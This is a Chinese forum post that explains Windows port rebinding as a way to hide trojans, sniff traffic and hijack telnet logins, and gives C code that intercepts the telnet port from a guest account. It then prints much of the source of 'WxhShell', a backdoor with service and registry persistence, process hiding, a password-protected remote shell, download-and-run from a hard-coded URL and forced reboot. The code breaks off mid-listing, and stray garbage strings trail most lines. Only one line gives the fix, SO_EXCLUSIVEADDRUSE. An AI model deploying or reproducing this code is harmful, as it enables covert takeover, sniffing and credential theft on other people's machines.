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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e&(Di,%:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :jq   
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  saddr.sin_family = AF_INET; IU`&h2KZ.  
ApYri|^r  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); q E`  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); L{\au5-4  
*gC6yQ2?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6A]Ia4PL  
:8bz+3p  
  这意味着什么?意味着可以进行如下的攻击: sCFqz[I  
8L<GAe  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zl j%v/9  
it~>)_7*P  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `}^_>  
9ci=]C5o3K  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 m4~Co*]w  
`\:9 2+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  l1\/ `  
-$4#eG%3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 PXk+Vi,%k  
"1H?1"w~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {Ah\-{]  
;w,g|=RQ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3!0Eh8ncI  
4#Fz!Km  
  #include q*oUd/F8  
  #include 8qfg=mu+ %  
  #include ui,#AZQ#{4  
  #include    3Q`F x  
  DWORD WINAPI ClientThread(LPVOID lpParam);   qsUlfv9L6  
  int main() [e+"G <>  
  { D^Bd>Ey4  
  WORD wVersionRequested; E3\O?+ h#  
  DWORD ret; 3 n/U4fn_  
  WSADATA wsaData; 42?X)n>  
  BOOL val; xGq,hCQHV  
  SOCKADDR_IN saddr; aU3 m{pE  
  SOCKADDR_IN scaddr; !+4}x;!8  
  int err; [g_Cg=J  
  SOCKET s; Kv[,!P"Y  
  SOCKET sc; 3 [lF  
  int caddsize; z6 v RTY  
  HANDLE mt; *K6 V$_{S  
  DWORD tid;   MX 2UYZ&  
  wVersionRequested = MAKEWORD( 2, 2 ); uuzDu]Gwu  
  err = WSAStartup( wVersionRequested, &wsaData ); MC!K7ji  
  if ( err != 0 ) { 8W 9%NW3&  
  printf("error!WSAStartup failed!\n"); !Jw   
  return -1; sAIL+O  
  } ,>n 4 `A  
  saddr.sin_family = AF_INET; N0GID-W!/~  
   b<qv /t)$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 BW}^n  
1%|+yu1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); AG2iLictv  
  saddr.sin_port = htons(23); Ep0L51Q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z'PE^ ,  
  { $WvI%r  
  printf("error!socket failed!\n"); IBY3QG  
  return -1; rp.S4;=Q9  
  } |lIkmW{  
  val = TRUE; ,8g~,tMr+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 XB-pOtVm  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4w^B&e%  
  { e@s+]a8D-k  
  printf("error!setsockopt failed!\n"); Xi_>hL+R(  
  return -1; :cop0;X:Wm  
  } KP7bU9odJ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dWE[*a\g  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 J4h7] qt  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `,4"[6S  
~wIVw}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ehI*cf({  
  { B2%)G$B  
  ret=GetLastError();  ;uNcrv0J  
  printf("error!bind failed!\n");  GWgjbp  
  return -1; 4_J* 0=U  
  } .e5GJAW~9  
  listen(s,2); ;"\e aKl  
  while(1) 59 O;`y0  
  { WEUr;f  
  caddsize = sizeof(scaddr); d:O>--$_tw  
  //接受连接请求 ^q@.yL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); kssS,Ogf\_  
  if(sc!=INVALID_SOCKET) zv!%u=49  
  { $BG4M?Y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y@'8vOh`  
  if(mt==NULL) &F[/@  
  { 3x9O<H}  
  printf("Thread Creat Failed!\n"); T5&jpP`M  
  break; Eu\&}n`i  
  } f3s0.G#l  
  } x`w 4LF  
  CloseHandle(mt); * I`, L/  
  } %up ]"L&i  
  closesocket(s); H=z@!rJc.  
  WSACleanup(); a_m P$4T  
  return 0; oJR0sbikP  
  }   }8p;w T!  
  DWORD WINAPI ClientThread(LPVOID lpParam) qr$=oCqa  
  { s d>&6 R^  
  SOCKET ss = (SOCKET)lpParam; kg7oH.0E  
  SOCKET sc; g/W<;o<v(I  
  unsigned char buf[4096]; cUaLv1:HI  
  SOCKADDR_IN saddr; R~CQ=KQ.  
  long num; eCMcr !.  
  DWORD val; ?UoA'~=  
  DWORD ret; 1?`,h6d*=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /}r%DND'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \y{Bnp5h  
  saddr.sin_family = AF_INET; 9M:wUYHT  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); T.GY  
  saddr.sin_port = htons(23); M5HKRLt  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *f$mSI=  
  { f GE+DjeA  
  printf("error!socket failed!\n"); /K:M ,q  
  return -1; Wu<  
  } rAwq$!xx  
  val = 100; |dpOE<f[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VjSb>k   
  { ,<%Y.x%4z[  
  ret = GetLastError(); ` #A&v  
  return -1;  W *0XV  
  } `UMv#-Y8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $[}31=0  
  { `{CaJ6.  
  ret = GetLastError(); n`? j. s  
  return -1; sAfSI<L_  
  } <w(UDZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;#P@(ZVT  
  { "X g@X5BG  
  printf("error!socket connect failed!\n"); J2Ocf&y;  
  closesocket(sc); Hu|NS{Ke-  
  closesocket(ss); R{\vOw:*  
  return -1; C;}~C:aJ  
  } !`hjvJryw  
  while(1) E:T<mI?d  
  { {N[IjY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j?29_Az  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 C,hs!v6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uJA8PfbD  
  num = recv(ss,buf,4096,0); }k.-xaj  
  if(num>0) LpeQx\  
  send(sc,buf,num,0); &OK(6o2m;  
  else if(num==0) X{P_HCd  
  break; ez&v"J  
  num = recv(sc,buf,4096,0); !>Db  
  if(num>0) SfyZ,0  
  send(ss,buf,num,0); DGj:qd(  
  else if(num==0) n'v[[bmu  
  break; oh-Y  
  } 9xyj,;P>  
  closesocket(ss); Zk"'x,]#  
  closesocket(sc); dE^:-t  
  return 0 ; {=PO`1H  
  } >B U 0B  
thDQ44<#)  
AcyiP   
========================================================== 6A;V[3  
Oj\lg2Ck  
下边附上一个代码,,WXhSHELL HhhN8t  
tm@&f  
========================================================== L TZ3r/  
Mg W0 ).  
#include "stdafx.h" _,"T;i  
O&V}T#8n  
#include <stdio.h> O;9u1,%w  
#include <string.h> Dz:A.x@$*  
#include <windows.h> 21bvSK  
#include <winsock2.h> aB0L]i  
#include <winsvc.h> f)l:^/WP+  
#include <urlmon.h> w&hgJ  
Q4Zuz)r*  
#pragma comment (lib, "Ws2_32.lib") @AaM]?=P{  
#pragma comment (lib, "urlmon.lib") d }=fJ  
*%7[{Loz  
#define MAX_USER   100 // 最大客户端连接数  gPh;  
#define BUF_SOCK   200 // sock buffer "}!|V)K  
#define KEY_BUFF   255 // 输入 buffer ci0)kxUBF  
!qS~YA  
#define REBOOT     0   // 重启 pYa8iQ`6U;  
#define SHUTDOWN   1   // 关机 9u^PM  
-;20|US)u  
#define DEF_PORT   5000 // 监听端口 ? [l[y$9  
6X~.J4  
#define REG_LEN     16   // 注册表键长度 z85%2Apd  
#define SVC_LEN     80   // NT服务名长度 j uG?kL.  
:f G5?])  
// 从dll定义API LQ`s>q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #(F/P!qk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JS <S?j?*/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <qT[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?1*Ka  
0_q8t!<xJw  
// wxhshell配置信息 y^zII5|s  
struct WSCFG { U>w#`Sy[  
  int ws_port;         // 监听端口 ;{EIx*<d  
  char ws_passstr[REG_LEN]; // 口令 }(A`aB_  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1fm4:xHH  
  char ws_regname[REG_LEN]; // 注册表键名 3}(6z"r  
  char ws_svcname[REG_LEN]; // 服务名 1)pwR3(^Fz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r&oR|-2hRk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GK .^Gd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4~xKW2*`K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H )hO/1 m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L[lX?g?Ob  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g"ha1<y<  
r*HbglB  
}; dv -L!C  
M<^]Ywq*p  
// default Wxhshell configuration DXBc 7J  
struct WSCFG wscfg={DEF_PORT, _QBN/KE9  
    "xuhuanlingzhe", 0gO_dyB  
    1, mivb}cKM  
    "Wxhshell", 0b6jGa  
    "Wxhshell", G2qv)7{l2  
            "WxhShell Service", a?jUm.  
    "Wrsky Windows CmdShell Service", |0ATH`{  
    "Please Input Your Password: ", 6D|[3rXr  
  1, pMB!I9q  
  "http://www.wrsky.com/wxhshell.exe", L#O1 >  
  "Wxhshell.exe" hb#Nm6  
    }; LvtHWt  
vF@hg)A  
// 消息定义模块 Wip@MGtJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M2H +1ic  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uonCD8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #(swVo:+E  
char *msg_ws_ext="\n\rExit."; ]8q#@%v }  
char *msg_ws_end="\n\rQuit."; X-LCIT|1  
char *msg_ws_boot="\n\rReboot..."; /By:S/[1pL  
char *msg_ws_poff="\n\rShutdown..."; |y9(qcKn$  
char *msg_ws_down="\n\rSave to "; v+Eub;m   
$`j%z@[g  
char *msg_ws_err="\n\rErr!"; ,1/O2aQ%\0  
char *msg_ws_ok="\n\rOK!"; 9$[6\jMh  
Ipro6 I  
char ExeFile[MAX_PATH]; \4Uhc3  
int nUser = 0; |j$r@  
HANDLE handles[MAX_USER]; cq]JD6937  
int OsIsNt; & "i4og<  
F t/yPv  
SERVICE_STATUS       serviceStatus; XSk*w'xO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z^lcc7  
3LGX ^J<f  
// 函数声明 ICck 0S!  
int Install(void); A0hKzj  
int Uninstall(void); 6$CwH!42F  
int DownloadFile(char *sURL, SOCKET wsh); Jq>rA  
int Boot(int flag); Z$ ?(~ln  
void HideProc(void); {uUV(FzF6  
int GetOsVer(void); r1<dZtb  
int Wxhshell(SOCKET wsl); i>z_6Gax*[  
void TalkWithClient(void *cs); m)AF9#aT2  
int CmdShell(SOCKET sock); !/nXEjW?  
int StartFromService(void); OfG/7pw5%B  
int StartWxhshell(LPSTR lpCmdLine); SR%k|YT  
 :o~]FVf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); aVB/Co M9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $UNC0 (4  
m tU{d^B  
// 数据结构和表定义 Q g~cYwX  
SERVICE_TABLE_ENTRY DispatchTable[] = |RjAp.pm  
{ nQGl]2  
{wscfg.ws_svcname, NTServiceMain}, Ft E5H  
{NULL, NULL} Zd5Jz+f  
}; 'tTUro1~  
R2Es~T  
// 自我安装 R [ZY;g:p  
int Install(void) rn^cajO^  
{ )]}G8A  
  char svExeFile[MAX_PATH]; D:] QBA)C  
  HKEY key; wE[gp+X~  
  strcpy(svExeFile,ExeFile); d| #&j. "  
Sq&r ;  
// 如果是win9x系统,修改注册表设为自启动 ?f}?I`S,  
if(!OsIsNt) { 1aI&jdJk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p{ Xde   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ziDvDu=  
  RegCloseKey(key); GP>\3@>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;b{yu|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kEgpF{"%n  
  RegCloseKey(key); clG@]<a`_  
  return 0; 7|5X> yt  
    } rjffpU  
  } nw4 I<Q  
} <%o9*)F  
else { dGyrzuPJ  
D@2L<!\  
// 如果是NT以上系统,安装为系统服务 arIEd VfNa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Um}f7^fp^l  
if (schSCManager!=0) eFh7#~m  
{ 6Hbu7r*tm  
  SC_HANDLE schService = CreateService g,9&@g/  
  ( 3 ,zW6 -}  
  schSCManager, }u9#S  
  wscfg.ws_svcname, ?g\emhG  
  wscfg.ws_svcdisp, Nq9\2p  
  SERVICE_ALL_ACCESS, m"@o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  nU4to  
  SERVICE_AUTO_START, IM% ,A5u  
  SERVICE_ERROR_NORMAL, 3k3 C\Cw  
  svExeFile, 6r|=^3{  
  NULL, W#)X@TlE  
  NULL, F r!FV4  
  NULL, -MRX@a^1  
  NULL, 5JHWt<n{P  
  NULL IRGcE&m  
  ); h;@c%Vm  
  if (schService!=0) qnCjNN  
  { WBD?|Ss  
  CloseServiceHandle(schService); He,, bq  
  CloseServiceHandle(schSCManager); @R-11wP)M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T>f6V 5  
  strcat(svExeFile,wscfg.ws_svcname); OlB9z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b'``0OB)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z&cM8w:  
  RegCloseKey(key); 7Db}bDU1 |  
  return 0; Jd^Lnp6?  
    } T|8:_4/l  
  } @@j:z;^|  
  CloseServiceHandle(schSCManager); "OwK-  
} |Fz ^(US  
} [^Bjmw[7  
?&'Kw>s@  
return 1; O\CnKNk,  
} Y[l<fbh(}  
^,0Lr$+  
// 自我卸载 ue^HhZ9  
int Uninstall(void) GE`1j'^-  
{ &|j0GP&  
  HKEY key; CT5s`v!s  
wVqp')e  
if(!OsIsNt) { 2}=@n*8*d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C1'y6{,@  
  RegDeleteValue(key,wscfg.ws_regname); {,i-V57-h  
  RegCloseKey(key); 2"HTD|yy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZNne 8  
  RegDeleteValue(key,wscfg.ws_regname); /vq$/  
  RegCloseKey(key); dQ:F5|p  
  return 0; P1AC2<H  
  } `m#-J;la  
} Vpne-PW  
} Jz=|-F(Sy  
else { ~4pP( JP  
,f{w@Er  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pHuR_U5*?  
if (schSCManager!=0) ^B0Qk:%P^N  
{ O/|))H?C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U(0FL6sPC  
  if (schService!=0) d#TA20`  
  { K-~gIlbQ`  
  if(DeleteService(schService)!=0) { JO*/UC>"  
  CloseServiceHandle(schService); BPa,P_6(  
  CloseServiceHandle(schSCManager); Fsm6gE`|n  
  return 0; V3# ms0  
  } ;p2b^q'  
  CloseServiceHandle(schService); WQ 2{`'z  
  } % YK xdp  
  CloseServiceHandle(schSCManager); .dMdb7  
} pmUf*u-  
} YGC%j  
=Q{?!  
return 1; 3<Zp+rD  
} xu_,0 ZT]{  
'B{FRK  
// 从指定url下载文件 3:MJKS02OD  
int DownloadFile(char *sURL, SOCKET wsh) 5VP0Xa ~  
{ =w}JAEE|(i  
  HRESULT hr; g0bYO!gC r  
char seps[]= "/"; gs;^SRE I  
char *token; 0Dna+V/jI  
char *file; g9q}D-  
char myURL[MAX_PATH]; O >pv/Ns  
char myFILE[MAX_PATH]; ^ZO! (  
Nf^<pT [*  
strcpy(myURL,sURL); %s"& |32  
  token=strtok(myURL,seps); C+uW]]~I)  
  while(token!=NULL) .=9WY_@SZ  
  { :^PksR  
    file=token; );%H;X+x  
  token=strtok(NULL,seps); _crhBp5@T3  
  } ka!v(j{E  
,5"(m?[m  
GetCurrentDirectory(MAX_PATH,myFILE); aUzCKX%>C  
strcat(myFILE, "\\"); bq9w@O  
strcat(myFILE, file); tH)j EY9  
  send(wsh,myFILE,strlen(myFILE),0); (bQ3:%nD  
send(wsh,"...",3,0); njf\fw_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C<AW)|r_  
  if(hr==S_OK) t+}w Tis  
return 0; Bp_R"DS7A  
else 7]xDMu'^&f  
return 1; R?O)v Lmd  
6IG?t  
} Kc?4q=7q  
^L5-2;s<U'  
// 系统电源模块 8k95IJR1  
int Boot(int flag) 5gtf`ebs/  
{ e ~'lWJD  
  HANDLE hToken; gT_KOO0n  
  TOKEN_PRIVILEGES tkp; \$ipnQv  
t$z[ ja=  
  if(OsIsNt) { ^\AeX-q2v'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u30D`sky  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K\rQb  
    tkp.PrivilegeCount = 1; V-}}?c1 F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jZzTnmm&?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1'\QD`M9^  
if(flag==REBOOT) { X0u,QSt' O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q9_ $&9  
  return 0; 1f}(=Hv{  
} uD>=  
else { [p9v#\G; [  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dv>n38&mDQ  
  return 0; bO2?DszT5  
} *$g!/,  
  } k_L`  
  else { GeTk/tU  
if(flag==REBOOT) { nFNRiDx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #dj?^n g  
  return 0; ~_vSMX  
} Ztg_='n  
else { 9Q%lS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s:}? rSI  
  return 0; 'ZW(Hjrd  
} }I&.xzJ  
} ZrTB%  
X+aQ 7^"s  
return 1; = 'NV3by  
} hr}f5Z)^v  
&7f8\TG|  
// win9x进程隐藏模块 _ \6v@  
void HideProc(void) & "&s,  
{ G n]qh(N>  
&bW,N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uqC#h,~ 0  
  if ( hKernel != NULL ) Y/kq!)u;%L  
  { p0bWzIH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kun/KY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &rBe -52  
    FreeLibrary(hKernel); &.,K@OFE}  
  } zHb [.ry~  
t1adS:)s  
return; e4tIO   
} MqnUym  
0I)$!1~O)  
// 获取操作系统版本 /RxP:>hVv  
int GetOsVer(void) '\I(n|\  
{ cRVL1ne  
  OSVERSIONINFO winfo; $V(]z`b&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2bNOn%!  
  GetVersionEx(&winfo); x,,y}_YX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4GRD- f[  
  return 1; wQ/* f9  
  else TVD~Ix  
  return 0; = ^NvUrK  
} `N *:,8j  
Y[6T7eZ0g  
// 客户端句柄模块 /l*v *tl  
int Wxhshell(SOCKET wsl) G%erh}0~  
{ fY!?rZ)$  
  SOCKET wsh; JXK\mah  
  struct sockaddr_in client; X&pYLm72;  
  DWORD myID; &u.{]Yjx  
\)6glAtN  
  while(nUser<MAX_USER) x%}D+2ro-t  
{ u#@/^h;  
  int nSize=sizeof(client); W%!(kN&d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8wsU`40=Q  
  if(wsh==INVALID_SOCKET) return 1; $N=&D_Q  
R |c=I }@F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xm{]|~^JG  
if(handles[nUser]==0) OyZR&,q  
  closesocket(wsh); JN0h3nZ_  
else + Q-b}  
  nUser++; tK%ie\  
  } fjRVYOG#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OUv<a `0  
G)Gp}4gV}  
  return 0; _uQ]I^'D  
} egaX[ j r  
=Zq6iMD  
// 关闭 socket JI "/,fK^  
void CloseIt(SOCKET wsh) NKO"'   
{ }`"}eN @,  
closesocket(wsh); 0^ODJ7  
nUser--; fu "cX;  
ExitThread(0); kamQZzPe  
}  )d2Z g  
1B~O!']N<  
// 客户端请求句柄 >v:ex(y0  
void TalkWithClient(void *cs) ra$:ibLN  
{ PJ.\ )oP  
E]@&<TFq  
  SOCKET wsh=(SOCKET)cs; 9F/I",EA  
  char pwd[SVC_LEN]; u\*9\ G  
  char cmd[KEY_BUFF]; QtW9!p7(  
char chr[1]; !#KKJ`uB"  
int i,j; ku]5sd >b  
cc[(w #K  
  while (nUser < MAX_USER) { ]Y\$U<YjO  
.@VZ3"  
if(wscfg.ws_passstr) { !mNst$-H4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 24jf`1XFW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W0gS>L_  
  //ZeroMemory(pwd,KEY_BUFF); jrib"Bh3,  
      i=0; U#3N90,N=  
  while(i<SVC_LEN) { 9-42A7g^C  
F9r.DG$}  
  // 设置超时 &6x(%o|  
  fd_set FdRead; '}Fe&%  
  struct timeval TimeOut; yfG;OnkZ  
  FD_ZERO(&FdRead); 46:<[0Psl/  
  FD_SET(wsh,&FdRead); OyTK,i<n  
  TimeOut.tv_sec=8; -r\jIO_  
  TimeOut.tv_usec=0; >yO/p(/;jR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vzIo2 ,/7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S<nF>JRJa  
tu -a`h_NJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #1<m\z7l  
  pwd=chr[0]; ]Ur/DRNS  
  if(chr[0]==0xd || chr[0]==0xa) { [b++bCH3  
  pwd=0; |qNe_)  
  break; S#/BWNz|  
  } 8}'iEj^e  
  i++; ';I}6N  
    } \ "O5li3n  
Qte5E}V`  
  // 如果是非法用户,关闭 socket [3Q0KCZ0(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :aNjh  
} (p{X.X+  
)d3 09O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0+>g/ >  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j 3<Ci {3  
]es|%j 2  
while(1) { uMcI'=  
'm`O34h  
  ZeroMemory(cmd,KEY_BUFF); HWjJ.;k}a  
uKJ:)oyaCP  
      // 自动支持客户端 telnet标准   S@qPf0dL<  
  j=0; SyL"Bmi  
  while(j<KEY_BUFF) { DG TLlBkT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cC*WZ]  
  cmd[j]=chr[0]; 7P{= Pv+  
  if(chr[0]==0xa || chr[0]==0xd) { 6r~9$IM  
  cmd[j]=0; b^W&-Hh  
  break; IL@yGuO,  
  } P27Ot1px  
  j++; ,HjJ jpE  
    } P y'BMk  
Z518J46o  
  // 下载文件 {Ydhplg{  
  if(strstr(cmd,"http://")) { lS=YnMs6a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <-`bWz=+  
  if(DownloadFile(cmd,wsh)) ufL,K q4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \]x`f3F  
  else 3! P^?[p3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7F"ljkN1S  
  } e9p/y8gC  
  else { : /5+p>Ep}  
!@z9n\Yj  
    switch(cmd[0]) { fk}Raej g  
  cj>@Jx}]M  
  // 帮助 sUF$eVAT  
  case '?': { h[(YH ;Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WA n@8!9  
    break; %pZT3dcK  
  } "@x( 2(Y&  
  // 安装 +wQ5m8E  
  case 'i': { Ec7xwPk  
    if(Install()) A+/Lt>+AS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q4mtfpiDx  
    else xM_#FxJb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2tz4Ag  
    break; +:Zwo+\kSN  
    } /M5.Z~|/  
  // 卸载 &OU.BR >  
  case 'r': { rVabkwYD  
    if(Uninstall()) M>k&WtqK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S1r{2s&  
    else '&CZ%&(Gw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0hS&4nW  
    break; SrA6}kS  
    } as:=QMV  
  // 显示 wxhshell 所在路径 ei2?H;H;  
  case 'p': { DS8HSSD  
    char svExeFile[MAX_PATH]; 2?,l r2  
    strcpy(svExeFile,"\n\r"); dwn|1%D  
      strcat(svExeFile,ExeFile); 8i6iynR  
        send(wsh,svExeFile,strlen(svExeFile),0); c<1$ zQY!  
    break; 1^k}GXsWmE  
    } >D=X Tgqqq  
  // 重启 T#&1q]P1F  
  case 'b': { frbd{o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S(=@2A+;  
    if(Boot(REBOOT)) c:${qY:!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C5=^cH8  
    else { )F9IzR-&m  
    closesocket(wsh); Qe~C}j%  
    ExitThread(0); #|\|G3Si %  
    } WGV]O|  
    break; XzAXcxC6G  
    } pll5m7[  
  // 关机 Z{3=.z{&^=  
  case 'd': { y95  #t  
